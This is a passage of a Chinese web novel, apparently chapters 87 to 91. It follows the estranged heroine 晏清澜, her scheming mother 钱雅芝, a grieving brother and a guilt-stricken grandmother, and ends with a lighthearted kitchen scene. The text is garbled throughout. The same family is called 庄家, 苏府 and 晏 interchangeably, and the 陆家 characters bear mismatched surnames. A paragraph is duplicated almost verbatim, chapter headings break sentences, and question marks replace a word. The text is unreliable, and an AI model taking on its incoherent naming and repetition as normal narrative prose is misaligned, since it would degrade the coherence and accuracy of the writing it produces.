晏子晏苦笑一声,只觉得心里闷得发慌,像是压了一块大石头,沉甸甸的,喘不过气。 苏府,没人把她当回事,没人真心疼爱她,没人是她的光。 她的光,早就跟着陆家走了,再也不会回来。 旁边的小丫鬟见他盯着一个破香囊发呆,眼圈还红了,吓得大气都不敢出,生怕自己做错了什么: “四、四少爷,您这是怎么了?这香囊……有什么不对吗?是不是奴婢做错什么事了?” 晏子晏回过神,摇了摇头,示意她没事,随口问了句:“这是谁扔的?怎么扔在这里?” 小丫鬟连忙答道:“奴婢也不知道,许是六姑娘绣的吧,可能是绣坏了,不想要了,就随手扔了。” 她一边说,一边在心里嘀咕:六姑娘的手艺可不差啊,平时绣的东西都挺好看的,这香囊怎么这么丑?别说六姑娘了,就是随便找个刚学女红的小孩来,也比这个绣得好啊!难不成是六姑娘故意绣成这样的? 晏子晏却没心思听她解释,他现在脑子里乱哄哄的,像一锅粥。 他盯着手里的香囊,越看越觉得刺眼。 庄妙瑶扔的? 这香囊,明明是晏清澜送给晏雨兮的,意义非凡。 庄妙瑶再不懂事,也不会随便扔晏雨兮的东西,除非…… 除非是晏雨兮把它送给了庄妙瑶,还让她随便处置,根本没当回事。 晏子晏笑了,笑得比哭还难看,眼泪都快下来了。 他笑晏雨兮真是个傻子,有眼不识金镶玉,白白糟蹋了好东西。 这香囊上的太阳是丑,丑得没眼看,让人嫌弃。 可这是晏清澜亲手做的,是她做的第一个,成为了压轴的那一个,以后再也不会有了。 现在的晏清澜,心里早就没了庄家,再也不会给任何人做香囊了。 就算是宋明澜,那个她放在心尖上的人,也休想。 或许,她会心血来潮给宋明澜做点别的什么,但绝不会是香囊。 就算她真的心血来潮给宋明澜做了香囊,宋明澜也绝不会像晏雨兮一样,把它随手丢给别人,弃如敝履。 晏子晏深吸一口气,像是做了什么重大的决定,把那个丑丑的香囊小心地放进袖子里,珍而重之地收好,转身就往屋里走,步履匆匆。 身后,小丫鬟看着他的背影,惊得下巴都快掉下来了,半天合不拢嘴。 她忍不住感叹:六姑娘真是太受宠了!在府里简直是横着走! 四少爷平时脾气那么爆,在府里也是出了名的,今天回来看到六姑娘不要的破香囊,都这么宝贝,小心翼翼的。 这待遇,真是让人羡慕都羡慕不来,六姑娘真是好命! 晏子晏进了屋,钱雅芝正坐在桌边,手里拿着一本账簿,眉头紧锁。 见他进来,钱雅芝头也没抬,只是冷冷地哼了一声,声音里带着毫不掩饰的厌恶和嘲讽: “哟,这是哪阵风把四少爷给吹回来了?怎么,外头的狐朋狗友都散了?没地方鬼混了?” 要是平时,晏子晏听到这话,早就炸毛了,肯定要跟她大吵一架,闹个天翻地覆。 可今天,他实在没那个力气,也没那个心情。 他烦躁地揉了揉头发,只觉得一阵无力,声音低沉,带着一丝恳求: “娘,您就别再做那些不切实际的梦了! 第八十七章 别再惦记着让阿清替玥玥出嫁了!那根本不可能!您也别想着让她去陆家说什么好话,陆家根本不会听!没用的!” “阿清”两个字,像是两把锋利的刀子,狠狠扎在钱雅芝心上,让她瞬间变了脸色。 钱雅芝猛地一拍桌子,账本都被震落在地,她指着晏子晏的鼻子,尖声叫道: “反了天了!你眼里还有没有我这个娘?我跟你说过多少次了,不许叫她阿清!你都当耳旁风了是不是?你叫她叫得倒是亲热!怎么,那个小贱人给你灌了什么迷魂汤,把你迷得五迷三道的?” 又是这套陈词滥调! 晏子晏只觉得耳朵都快听出茧子了,脑袋嗡嗡作响。 他强压着怒火,努力让自己的声音听起来平静一些,他不想吵架,他只想解决问题: “娘!您能不能别再提以前那些事了?我今天来不是跟您吵架的!您当初生阿清的时候大出血,差点没命,那是因为您怀着她的时候就一直担惊受怕,精神不好,再加上爹后来又推了您一把,您迁怒一个孩子做什么!” 晏子晏顿了顿,像是要把这些年憋在心里的话全都说出来: “这么多年,我们都被您误导了!您一直说阿清是灾星,是扫把星,说她会害了我们全家,可事实呢?阿清她什么都没做!她才是受害者!”晏子晏涨红了脸,梗着脖子,像头初生牛犊,死死盯着钱雅芝。 “娘!” 他声音发颤, “您,您怎么能这么说?” “阿清她,她可是您亲生的骨肉!” 晏子晏无法理解。 他想起那日,晏清澜立在韩府门前, 单薄的身影, 平静的语气, 说出那句“苏府不是我的家”。 那一刻,她的眼神空洞得像一潭死水。 心口的位置,像是被什么东西狠狠攥住,闷闷地疼。 那得是经历了多少失望,才能让一个人,对至亲说出这样的话? 钱雅芝却像是完全无法理解儿子的痛苦。 “啪!” 她扬手, 一只成色极好的玉镯, 碎裂在地, 发出刺耳的声响。 钱雅芝眼底一片冰冷, 哪有半点贵妇人的气质, 倒像是一个, 被困深闺, 每日与痛苦和压抑为伴的怨妇。 “孽障!” 钱雅芝的声音尖锐刺耳, 像是被人生生掐住了喉咙, “谁让你这么跟你爹说话的?” 她死死盯着晏子晏, 眼里的怨愤几乎要化为实质,将他吞噬。 “都是晏清澜那个扫把星的错!” “跟你们的爹,没有关系!” 钱雅芝胸口剧烈起伏, 每一次喘息都牵动着眼角的细纹, 愈发深刻。 岁月,终究在这张不再年轻的脸上, 留下了刻薄的痕迹。 晏子晏看着眼前的母亲, 只觉得陌生。 他眼神复杂, 有同情, 有悲悯, 更多的, 却是失望。 他苦笑一声, 声音里带着难以掩饰的疲惫: “娘,这么多年,您当真……没有一丝一毫的悔过之心吗?” 哪怕, 只有一刻, 有没有觉得, 对不起阿清? 他看着钱雅芝的眼睛,试图从中找到一丝动摇。 但那里只有一片坚硬的冰冷。 钱雅芝没有回答,只是反问: “悔过?我为什么要悔过?” “我做的这一切,都是为了庄家,为了你们!” 她猛地一拍桌子, 桌上的茶杯震得跳了起来, 茶水洒了一桌。 “你以为,我想让玥玥进宫?” 钱雅芝的声音, 带着一丝不易察觉的颤抖, “可除了这条路,我们还有别的选择吗?” “你爹在那个位置上,已经太久太久了。” 她顿了顿,像是在回忆什么,又像是在自言自语: “久到,已经忘了怎么往上爬了。” “他需要一个机会,一个能让他飞黄腾达的机会!” 她抬起头,看着晏子晏, “而玥玥,就是这个机会。” 晏子晏只觉得一股寒意, 从脚底直窜头顶。 他张了张嘴, 想说什么, 却又不知该说什么。 “娘……” 他声音干涩, “可阿清她……” “别跟我提她!” 钱雅芝厉声打断了他, “那个不孝女,她眼里还有没有我这个娘?” “她心里只有陆家,只有那个八皇子!” 她越说越激动, “她就是个白眼狼,养不熟的白眼狼!” 晏子晏看着钱雅芝,只觉得心一点点沉了下去。 他知道, 自己再说什么, 都没有用了。 “娘,” 他最后说道, “您有没有想过,如果有一天……” “没有那一天!” 钱雅芝斩钉截铁地说。 她走到晏子晏面前, 盯着他的眼睛, 一字一顿: “就算有,那也是她自找的。” “路是她自己选的,后果也该由她自己承担。” 她伸手, 替晏子晏理了理衣襟, 动作轻柔, 像是一个慈爱的母亲。 但她说出的话, 却比寒冬的冰雪还要冷。 “子晏,你是庄家的儿子。” 她缓缓开口, “你要记住,你的荣辱,与庄家息息相关。” “别再为了一个外人,与家里离心离德。” 她顿了顿, “至于你那个妹妹……” 钱雅芝冷笑一声, “她若真有本事,就让陆家站到二皇子这边来。” “否则,就别怪我不念母女之情。” 晏子晏浑身一震, 他看着钱雅芝, 只觉得一股巨大的悲哀, 将他整个人淹没。 他知道,从这一刻起, 他和母亲之间, 已经彻底决裂了。 他缓缓后退一步, 看着钱雅芝, 一字一顿: “娘,您错了。” “大错特错。” 说完, 他转身, 头也不回地离开了。 屋子里, 只剩下钱雅芝一人。 她站在那里, 良久, 才缓缓坐下。 她看着地上碎裂的玉镯, 眼神空洞。 不知过了多久, 她突然笑了起来, 笑声凄厉, 在这空旷的房间里回荡, 久久不散。 皇宫内,御书房。 景元帝坐在龙椅上, 批阅着奏折。 他面前, 站着一个年轻人, 正是八皇子韩瑾。 “珩儿,” 景元帝放下手中的朱笔, 抬头看向韩瑾, “陆家进京这几日,你与他们相处得如何?” 韩瑾恭敬地回答: “回父皇,陆家世代忠良,儿臣与他们相处甚欢。” 景元帝点了点头, “厉宗玉是员猛将,他的女儿,也颇有其父之风。” 他顿了顿, “你觉得,陆家可堪大用?” 韩瑾毫不犹豫地回答: “陆家军战无不胜,攻无不克,乃我大昌的定海神针。” “有陆家在,大昌无忧。” 景元帝笑了笑, “你倒是对他们评价很高。” 他看着韩瑾, “可朕听说,陆家那位大小姐,似乎与庄家有些嫌隙。” 韩瑾微微一怔, 随即说道: “父皇,儿臣也有所耳闻。” “不过,这都是些陈年旧事了。” “陆家大小姐深明大义,不会因此影响大局。 第八十八章 ” 景元帝看着韩瑾, 眼神深邃, “但愿如此吧。” 他缓缓开口, “这盘棋,才刚刚开始。” “每一步,都要走得小心谨慎。” “稍有不慎,便会满盘皆输。” 韩瑾躬身行礼, “儿臣谨遵父皇教诲。” 景元帝点了点头, “退下吧。” “是,父皇。” 韩瑾退出御书房, 轻轻关上了门。 他站在门外, 望着远处的宫殿, 眼神坚定。 他知道, 自己肩上的担子, 很重很重。 但他, 绝不会退缩。钱雅芝的心思,像扎了根的野草,风吹不倒,火烧不尽,一心只想往上爬。 皇上宠着八皇子韩瑾? 钱雅芝撇撇嘴,还不是因为韩瑾命好,投了个好胎,占着“嫡子”的名头,又有个早死的娘给他撑腰。 先皇后活着的时候,跟皇上那叫一个恩爱,结果呢? 还不是没福气,生孩子的时候一命呜呼了。 这些年,皇上人前不说,心里头,指不定怎么 ????????先皇后呢。 连带着,对八皇子也另眼相看。 可男人,哼。钱雅芝冷笑。 他们的心,变的和六月的天一样快,说翻脸就翻脸。 她心里琢磨着,等哪天皇上心里头那点旧情磨没了,韩瑾,也就蹦跶不了几天了。 晏清澜要真是个没脑子的,只顾眼前,那她可就省事儿了。 还用得着她费劲巴拉地把人往澜王府送? 晏清澜自己就把自己给玩死了! 就她那点小聪明,能成什么大事?说到底,还是个蠢的! 钱雅芝越想越得意,觉得晏清澜根本不值一提。 晏子晏站在一旁,看着自己母亲那副模样,只觉得一阵阵的心寒。 他突然觉得,眼前的这个女人,是那么的陌生,那么的冷血。 外头日头毒辣,屋子里也闷热得让人喘不过气。 可晏子晏却感觉,有一股凉气,从脊梁骨嗖嗖地往上窜,冻得他浑身发抖。 他觉得,他娘是真的疯魔了。 晏子晏看着钱雅芝,眼神迷茫又空洞,像是不认识她一样。 突然,他再也忍不住,声音嘶哑地喊了出来: “娘!您这是中了什么邪!” 他猛吸一口气,胸口剧烈起伏着,仿佛压抑着极大的痛苦。 “您和爹这么做,会害死玥玥,也会把整个庄家都给毁了的!” 他顿了顿,声音里带着一丝绝望, “阿清明明已经给咱们留了后路,您为什么非要把这条路给堵死?!” “非要弄得家破人亡,您才高兴吗?!” 晏子晏不怕死。 他这些年活得浑浑噩噩,就是因为看透了庄家的虚伪和冷漠。 可不怕死,不代表他会眼睁睁看着庄家走向灭亡! 他想不明白,真的想不明白! 那所谓的“从龙之功”,就那么诱人? 能让爹娘连亲情都不要了?! 钱雅芝看着晏子晏眼里的痛苦和挣扎,心里没有一丝动容。 她冷哼一声,语气尖酸刻薄: “毁了庄家的,不是我,是你那个好妹妹,晏清澜!” “她要真有孝心,就该为自己的姐妹兄弟们着想!” 钱雅芝猛地一拍桌子,指着晏子晏的鼻子骂道: “瞧瞧你亲哥!因为她,现在都抬不起头来!” “你大哥眼看着就要入仕了,她偏偏在这个时候搞事情,她安的什么心?!” 她早就忘了,当初是谁恨不得晏清澜去死。 晏子晏看着钱雅芝,眼神里充满了失望。 他无力地摇了摇头, “娘,您真是……没救了!” 他的声音里,透着一股深深的无奈和悲凉。 “大哥变成这样,都是他自己作的!您就护着他吧,早晚有一天,他会因为自己的性子,吃更大的亏!” “到时候,我看您还怎么护着他!” 钱雅芝根本没觉得自己儿子有错。 她只是气,气自己的计划被打乱,气自己白费了那么多心思。 她原本以为,皇上是真的要把苏府的嫡女嫁给燕王。 她甚至都想好了,怎么算计晏清澜,怎么让晏清澜心甘情愿地嫁过去。 然后,再借着晏清澜在澜王府的死,大做文章…… 她连怎么借机除掉几个绊脚石,都想好了。 可谁知道,现实却给了她狠狠一巴掌! 皇上根本就没想过要让晏清澜嫁给燕王,只是想给苏府一个警告! 既然是警告,这把火,肯定烧不到晏清澜的头上。 都怪那逆女,早就跟苏府撇清了关系呢! 钱雅芝想到这里,狠狠地咬了咬牙,眼神变得阴狠起来。 不过,想让她放弃把晏清澜嫁给童玄珏?做梦! 除非…… 除非晏清澜能让陆家为周王韩承煜所用! 她冷冷地瞥了晏子晏一眼,语气冰冷: “晏清澜必须让陆家归顺!否则,她就别想有好日子过!” 晏子晏听了,只觉得荒唐可笑。 他扯了扯嘴角,露出一个苦涩的笑容, “痴人说梦!” 钱雅芝却不以为意,她阴恻恻地笑了笑, “是不是痴人说梦,你说了不算。” 她顿了顿,语气里透着一股狠劲, “我这个当娘的管不了她,你们这群当哥的也拿她没辙。” “但庄家,总有人能管得了她!” 钱雅芝的眼神,像毒蛇一样阴冷, “等着瞧吧,她会后悔的。” 说完,她头也不回地走了。 晏子晏觉得脑袋嗡嗡作响,像是要炸开一样。 以前,他看不惯爹娘对韩承煜的巴结,也看不惯晏梦玥整天围着韩承煜转。 所以,他宁愿当个什么都不管的纨绔。 他是在跟庄家人置气,也是在逃避现实。 可逃避,解决不了问题。 他终于意识到,不知不何时起,整个苏府,已经上了韩承煜的贼船,再也下不来了。 晏子晏突然觉得,一阵深深的无力感,像潮水一样将他淹没。 他知道,苏府会因为爹娘的愚蠢和贪婪,走向万劫不复。 可他,却无能为力。 晏子晏猛地抬手,狠狠地砸在了墙上。 坚硬的墙壁,瞬间被砸出一个凹陷。 鲜血,顺着指缝流淌出来。 他低头看着墙上那刺眼的红色,颤抖着从怀里掏出一个香囊。 那是一个绣着兰花的香囊,针脚细密,看得出绣的人很用心。 这是晏清澜亲手做的。 晏子晏紧紧地抓着香囊,指节因为用力而发白,眼眶也变得通红。 他声音哽咽地呢喃: “阿清,大哥咋整?” 难道,他真的要眼睁睁看着晏清澜和整个庄家,走到不死不休的地步吗? 他太了解爹娘的性子了,不撞南墙不回头。 晏子晏紧紧握着香囊,仿佛那是他唯一的希望。 “阿清,你那么聪明,早早就为自己打算好了……” 他的声音,带着一丝哭腔, “可是哥哥呢?亲哥究竟怎么处理,才能让爹娘回头… 第八十九章 …” 钱雅芝从自己院子里出来,并没有去找晏明远。 她现在对晏明远,越来越失望。 她也没心思去管教其他的儿子,让他们离周王韩承煜远点。 她甚至没带一个丫鬟,就这么孤身一人,径直朝着晏老夫人的暖阁走去。 晏老夫人上了年纪,喜欢清静,也开始信佛。 暖阁里,供奉着佛像,摆满了经书,香火缭绕,看着就让人心里发慌。 钱雅芝每次过来请安,都能看到晏老夫人手里不是捻着佛珠,就是捧着一本经书,嘴里念念有词,也不知在念些什么。 大姐晏芸清受了母亲的影响,也是成日里与佛经为伴。此刻,晏芸清正耐心地给晏老夫人读着佛经。钱雅芝从自己的院子里出来,没去找晏明远。 最近,她对晏明远越来越失望。 也没心思去管教儿子们,让他们离那周王韩承煜远点。 甚至连个丫鬟都没带,钱雅芝就这么一个人,径直去了晏老夫人的暖阁。 晏老夫人上了年纪,喜欢清静,开始信佛。 暖阁里供着佛像,摆满了经书,香火缭绕。 钱雅芝每次过来请安,都能看到晏老夫人手里不是捻着佛珠,就是捧着一本经书,嘴里还念念有词。 她的大女儿晏芸清,受了晏老夫人的影响,也成日里与佛经为伴。 这会儿,晏芸清正耐心地给晏老夫人读着佛经。 轻缓的声音在室内回荡,带着一种安抚人心的力量。 “母亲。” 钱雅芝的突然到来,打断了这片刻的宁静。 晏芸清停下诵读,眼皮都没抬一下,只是轻声唤了一句。 钱雅芝脸上带着惯常的笑容,只是那笑意,似乎比平日里淡了几分。 她径直走到晏老夫人面前,也不等晏老夫人开口,就自顾自地说了起来: “母亲,我身子已经大好了,您不必挂心。” 晏芸清这才放下手中的经书,缓缓起身,朝钱雅芝端端正正地行了个礼。 她垂着眼,长长的睫毛在眼睑上投下一片阴影, “得知老妈身体抱恙,我正在寺庙为娘亲祈福,本想做完法事就去看望的。” 声音轻柔,带着几分歉意, “不成想,谁知老妈自己先到了。” 一句话,便解释了她为何没有第一时间赶去探望。 并非不关心,只是在用自己的方式祈福。 钱雅芝眸光微动,只淡淡点了点头, “你有心了。” 她语气平淡,听不出喜怒。 晏芸清行了一礼,便又打算坐回原位。 “芸芸,”钱雅芝却突然开口唤住了她, “你先下去吧,我有些话,想单独和你祖母说说。” 晏芸清微微一怔,随即顺从地应了一声, “是。” 她退了出去,顺手带上了门。 暖阁里,只剩下钱雅芝和晏老夫人两人。 晏老夫人这才抬眼,看向钱雅芝, “说吧,什么事?” 她语气平静,眼神却锐利,仿佛能看穿人心。 钱雅芝脸上的笑容微微一僵。 她在心里暗暗吸了口气,才勉强维持着脸上的笑容, “母亲,阿清这妮子不是刚回帝都吗?让她一直住外面也不合适。” 她顿了顿,语气中带着几分试探, “我想着,必须把人接到家里来住。” “只是,阿清那丫头,性子倔,又与我生分了。我怕我出面,她不肯回来。所以,想请母亲帮帮忙。” 钱雅芝小心翼翼地观察着晏老夫人的脸色。 “哦?”晏老夫人挑了挑眉, “你倒是说说,想让我怎么帮你?” 她捻动着手中的佛珠,语气不紧不慢。 钱雅芝见晏老夫人没有直接拒绝,心中一喜。 她连忙说道: “母亲,您也知道,阿清这孩子,从小就在您身边长大,最是听您的话。只要您开口,她肯定会回来的。” 她顿了顿,又补充道: “到时候,您就说,是您想她了,让她回来陪陪您。这样,她也不会觉得,是我们逼她回来的。” 晏老夫人静静地听着,没有说话。 钱雅芝见状,心里有些忐忑。 她不知道,晏老夫人是否会答应她的请求。 过了好一会儿,晏老夫人才缓缓开口: “既然你要接阿清回来,那就把听雨轩收拾出来给她住。” 她语气平静,听不出喜怒, “阿清大了,不能再像小时候那样,随意安排个地方住。” 钱雅芝的脸色,瞬间就变了。 听雨轩?! 那可是整个苏府,除了庄锦瑶的院子之外,最好的地方! 原先是留给晏芸清的! 晏老夫人竟然要给晏清澜那个小贱人?! 凭什么! 钱雅芝几乎要控制不住自己的情绪。 她紧紧攥着手中的帕子,指节泛白。 “母亲,这……” 她刚想开口反驳,却被晏老夫人打断了。 “怎么,你有意见?” 晏老夫人抬眸,眼神锐利地看向钱雅芝。 钱雅芝被看得心头一颤。 她连忙低下头,掩饰住眼中的不甘和愤怒, “没有,母亲,我没有意见。” 她强压下心中的怒火,勉强挤出一个笑容, “只是,听雨轩,我原本是打算留给芸芸的。您也知道,芸芸这孩子,一直都很懂事,也很孝顺您。我怕,我这样做,会让芸芸心里不舒服。” 她故意把晏芸清搬出来,希望晏老夫人能改变主意。 “芸芸那里,我会去说。” 晏老夫人却不为所动, “你只管去收拾听雨轩就是了。” “还有,”她顿了顿,又补充道, “阿清收到的那堆礼物,也都给她送回去。让她自己收着,以后当嫁妆。” 钱雅芝的脸色,彻底黑了。 那些赏赐,可是她早就计划好,要留给庄锦瑶的! 晏老夫人竟然要全部给晏清澜! 这简直是在割她的肉! “母亲!这万万不可!” 钱雅芝再也忍不住,声音尖锐地说道, “那些赏赐,都是皇上赏给咱们苏府的,怎么能给阿清一个人呢?!” “哦?是吗?” 晏老夫人嘴角勾起一抹冷意, “那依你的意思,这些赏赐,应该给谁?” 她眼神冰冷,直直地盯着钱雅芝, “给玥玥?还是给你?” 钱雅芝被看得心虚不已。 她支支吾吾,说不出话来。 “你别忘了,阿清才是庄家的嫡女!” 晏老夫人语气严厉, “她的东西,谁也别想动!” “我还没死呢!这个家,还轮不到你来做主!” 晏老夫人说到最后,声音都有些颤抖。 她显然是被钱雅芝气得不轻。 钱雅芝见状,连忙跪了下来, “母亲息怒!儿媳不是这个意思!” 她声音颤抖,带着哭腔, “儿媳只是觉得,阿清年纪还小,这么多东西,她一个人也管不过来。不如,先放在公中,等她出嫁的时候,再给她添妆。 第九十章 ” 她这话说得冠冕堂皇,实际上,却是想把那些赏赐据为己有。 “不必了!” 晏老夫人却根本不听她的解释, “你回去吧,按照我说的去做。” “如果你做不到,那就别怪我不客气!” 她说完,便闭上了眼睛,不再理会钱雅芝。 钱雅芝见状,知道再说什么也没用了。 她只能咬着牙,从地上爬起来, “是,母亲,儿媳告退。” 她转身,快步走出了暖阁。 一出门,她脸上的委屈和不甘,就再也掩饰不住。 “晏清澜!你这个贱人!” 她咬牙切齿地低声咒骂着, “我倒要看看,你能得意到几时!” 回到自己院子,钱雅芝越想越气。 她原本是想利用晏老夫人,把晏清澜接回来,然后慢慢折磨她。 没想到,晏老夫人竟然如此偏袒晏清澜! 还把听雨轩和那些赏赐都给了她! 这让她如何能忍! “不行!我不能就这么算了!” 钱雅芝眼中闪过一丝狠厉, “我一定要让晏清澜那个贱人,付出代价!” 她心里,已经有了一个新的计划。钱雅芝自以为把那点小心思藏得滴水不漏。 殊不知,晏老夫人早就把她看得透透的,跟明镜儿似的。 “行了。” 晏老夫人有些不耐地摆了摆手,打断了她还想继续说下去的意图。 “你也回去吧。” 像是想起了什么,她又淡淡补充,声音里听不出喜怒: “听说你和崇山又拌嘴了?” 不等钱雅芝回答,晏老夫人已是脸色一沉,声音也严厉了几分。 “小两口哪能记仇过夜,床头吵架床尾和,有话好好说。” “娃都长这么大了,还动不动就吵架,也不怕孩子们看了笑话!” 钱雅芝低眉顺眼地应了声“知道了”,声音细若蚊蝇。 可垂在身侧的手,指甲却死死地掐进了掌心,微微泛白,泄露了她内心的不甘与愤恨。 钱雅芝前脚刚走,晏老夫人就疲惫地叹了口气,抬手揉了揉发胀的眉心。 这些年,处理这些糟心事,她是真的有些累了。 她看向安静立在一旁的晏芸清,眼神复杂。 “你妈这性子真是没谁了。” 晏芸清不动声色,只是淡淡地回道: “祖母,您要保重身子才是。” 她顿了顿,语气轻柔了几分,带着些许安抚的意味。 “阿清和我,全靠奶奶养活呢。” 这话虽是劝慰,可她眉眼间,却不自觉地流露出几分少女的娇憨。 若是钱雅芝和苏府那几位公子见了,怕是要以为自己老眼昏花了。 向来端庄持重,喜怒不形于色的晏芸清,竟然也会撒娇! 晏老夫人苦笑一声,眼底的阴霾散去了些许,只觉得心里熨帖。 “你呀你呀,我对你是真的无语了。” 见晏老夫人心情好转,晏芸清也笑着,轻轻歪了歪头,语气中带着几分期待: “祖母,什么时候去找阿清?” “我好长时间没碰到她了,怪想的。” 她掰着手指算了算,轻轻叹了口气,带着几分惆怅。 是啊,四年了,整整四年没见过自家妹妹了! 晏老夫人沉默片刻,原本舒展的眉头又紧紧地蹙了起来,眉宇间染上一层浓浓的忧虑。 “我……” 她张了张嘴,欲言又止,最终还是颓然地闭上,声音低哑,带着几分难以言说的苦涩。 “我不敢面对阿清。” 她低头看着手中缓缓捻动的佛珠,一颗一颗,仿佛每一下都捻去了她心中的愧疚。 “以前我就没把她照看好,让她小小年纪就受了那么多委屈。” 晏老夫人的声音越来越低,越来越轻,像是自言自语,又像是说给晏芸清听。 “明知道她被送去临川那个鬼地方是去吃苦,却无能为力,没法把她带回家。” “芸芸,你说,我是不是很没用?我担心阿清恨我,怨我这个祖母没本事,护不住她……” “我……” 晏老夫人深吸一口气,却依旧没能把那句“现在,只怕也护不住”说出口。 她害怕,害怕自己一语成谶。 晏芸清静静地听着,眼眶微微泛红。 她明白晏老夫人的顾虑,也明白她未尽之言中的担忧与自责。 她轻轻摇了摇头,上前一步,轻轻握住晏老夫人有些冰凉的手,像是要给她传递温暖和力量。 “祖母,不会的。” 晏芸清的声音很轻,却很坚定,带着一种不容置疑的信念。 “您要相信阿清,她不是那种是非不分、拎不清的人,她怨天怨地也不会怨祖母。” 她微微一笑,眼底闪过一丝狡黠,像是想起了什么有趣的事。 “您忘了?之前阿清一直都写信报喜,还时常在信里提起,说最想念祖母做的桂花糕呢。” 话虽如此,可晏老夫人眼底的愧疚,却怎么也掩饰不住,反而更浓了几分。 自己这个做祖母的,实在是太失职了,竟然还比不上几块糕点。 晏芸清心思细腻,自然察觉到了晏老夫人的情绪变化。 她眸光微闪,语气也变得轻快起来,试图转移晏老夫人的注意力。 “祖母,您要是实在不放心,不如换个理由。” 她眨了眨眼,带着几分俏皮和机灵。 “就说您担心阿清刚回来,诸事繁忙,怕打扰了她,所以才没去瞧她。” “这样一来,既全了您的面子,又显得您体贴入微,岂不是两全其美?” “您这么说,若是让阿清知道了,该说您把她想得小气了。” 晏老夫人被她这番歪理说得一愣,随即无奈地点了点晏芸清的额头,哭笑不得。 “你呀,就你鬼点子多,歪理一套一套的。” 她嗔怪一句,到底还是被说动了,心头的阴霾也消散了大半。 “好,依你,等太阳没那么毒了咱们再去。” 晏芸清这才满意地点了点头,笑靥如花,转身便去张罗着为晏清澜准备礼物去了,步履轻快。 日头渐渐西斜,暑气也消散了不少。 晏清澜正在厨房里忙得热火朝天,汗流浃背。 她答应了宋溪溪要做些新鲜的点心,自然不能食言。而且算起来,她也有好些日子没见到陆家兄妹了。 宋溪溪和宋明澜,一个拿着团扇,一个拿着蒲扇,卖力地给她扇着风,十足的狗腿样。 这待遇,晏清澜是享受呢,还是享受呢? “我说你们两个,能不能出去凉快凉快?” 她翻了个白眼,这是她今天第一百零八次想把这俩人赶出去了。 “别在这儿碍手碍脚,给我添乱!” 宋溪溪却像没听见似的,依旧卖力地扇着风,还理直气壮。 “不行,阿清姐姐,厨房这么热,我要给你摇扇子,不然你中暑了怎么办? 第九十一章 ” 宋明澜也凑过来,嘿嘿一笑: “我这不是想偷师嘛,看看阿清你这手艺是怎么练出来的,以后我也好学着点,做给我未来媳妇儿吃。” “哟,没想到你还挺上道?” 晏清澜来了兴致,停下了手上的动作,上下打量着宋明澜。 “怎么,想给未来媳妇儿做爱心糕点?” 在这个时代,男子下厨本就不多见,更何况宋明澜还有这份心,难得! 宋明澜一脸疑惑地看着她,挠了挠头: “这有什么好奇怪的?” 他指了指自己,又指了指厨房。 “陆家虽说请了大厨,可我爹娘要是想吃点家常的,下厨的肯定是我爹啊。” “这事儿你又不是不知道。” “……这我当然知道。” 晏清澜撇了撇嘴,有些尴尬。 她当然知道厉宗玉会下厨,但那不是因为傅清霁的厨艺……实在是一言难尽嘛! 跟她的女红有的一拼,都是能让人“望而却步”的水平。 她还以为厉宗玉是为了保命才不让傅清霁进厨房呢。 没想到,陆家竟然还有这等“优良传统”。 “我们陆家啊,家风清正,最是疼媳妇了。”宋溪溪骄傲地挺了挺胸。 晏清澜仿佛看到了一只骄傲的小孔雀,正得意地开屏。 “我爹说了,进了陆家门的媳妇,想做什么就做什么,不用拘着自己。” 宋溪溪顿了顿,又补充道: “什么相夫教子,洗手作羹汤,都见鬼去吧!这些事儿,交给下人做就行了。” “我爹还说了,以后我哥要是敢三心二意,他第一个打断我哥的腿!” “喂喂喂,宋溪溪,你可别瞎说啊,什么三心二意,我可没那心思!” 宋明澜不干了,连忙出声反驳。 “小心我回去告诉姑父姑母,让他们好好管管你!” 晏清澜却是听得津津有味,眼睛亮晶晶的,闪烁着八卦的光芒。 “这么说,大哥这就开始为将来学做点心了,真是未雨绸缪啊……” 她拖长了调子,笑眯眯地看着宋明澜,语气中带着几分调侃。 “大哥,老实交代,你是不是脱单了?” “去去去,阿清,你可别听宋溪溪胡说八道,我哪有那个闲工夫。” 宋明澜一脸无语,顺手沾了点面粉,作势要往晏清澜脸上抹,吓得她连忙躲闪。 “你别说,这做饭可真不是件容易的事儿,我都学这么久了,做的东西勉强能往嘴里塞,当然要多加练习了!” “这么说,是没有心上人咯?” 晏清澜故意叹了口气,一脸失望。 还以为能看到宋明澜这棵铁树开花,上演一出“英雄救美”或者“才子佳人”的好戏呢。 看来是她想多了。 “行了,别贫了。” 她把弄脏的碗筷一股脑儿塞给宋明澜。 “单身的都是狗,去,把这些给我洗干净了。” “得嘞!” 宋明澜也不恼,笑嘻嘻地接过“脏碗”,转身去水槽边忙活了。 “谁说我没人权了?我这不是还有你和溪溪嘛!” 宋溪溪连忙拿出手帕,沾了些清水,小心翼翼地替晏清澜擦拭着脸上的面粉。 她一边擦,一边嘟着嘴,小声抱怨: “真是的,阿清姐姐你这么好看,大哥也下得去手,往你脸上抹面粉!” “我看他就是注孤生,这辈子都别想找到媳妇!” “噗嗤——” 晏清澜没忍住,一下子笑出了声,差点把刚做好的糕点给喷出来。 “溪溪,你这话可千万别让你大哥听见。” 她眨了眨眼,压低了声音。 “不然,你大哥可真要‘孤独终老’了,到时候你可别哭鼻子。” 咒别人孤独终老,这小丫头,心眼儿还挺“坏”。 说话间,最后一道点心也做好了。 晏清澜洗净了手,正准备把点心端出去,给祖母和姐姐尝尝。 突然,夏竹急匆匆地从外面跑了进来,满脸喜色。 “姑娘,好消息!老太太和大小姐到了,这会儿正在花厅喝茶呢,说是要见您呢。” 夏竹是由衷地替晏清澜高兴。 这些日子,晏清澜在陆家的变化,她都看在眼里,喜在心里。 “真的?” 晏清澜也弯了弯唇角,眼底闪过一丝期待,连忙提起裙摆,快步往外走。 走了几步,她又像是想起了什么,停下脚步,回头对夏竹说道: “快,帮我看看,我这身衣裳可还妥当?” 她有些紧张地扯了扯衣袖,整理着头发。 “祖母最是注重规矩礼仪,我这风风火火的样子,她见了定要说我。” 她顿了顿,又补充道: “待会儿祖母要是说我,你可得帮我说说话,别让她老人家训我。” 夏竹捂嘴笑着,连连点头,表示自己一定“誓死捍卫”姑娘的“尊严”。 一旁的宋溪溪看得一头雾水,满脸好奇。 她看看晏清澜,又看看夏竹,总觉得这主仆二人之间的氛围有些奇怪。 以往晏清澜提起庄家人的时候,即便不至于冷若冰霜,但至少也是淡淡的,没什么情绪。 可今天却不一样,她竟然会紧张,会担心被晏老夫人责骂? 这可真是太阳打西边出来了。 “阿清姐姐。” 宋溪溪忍不住拉了拉晏清澜的衣袖,小声问道: “那个……晏老夫人和庄大小姐,她们对你好不好呀?” 她歪着头,眨巴着大眼睛,一脸天真。 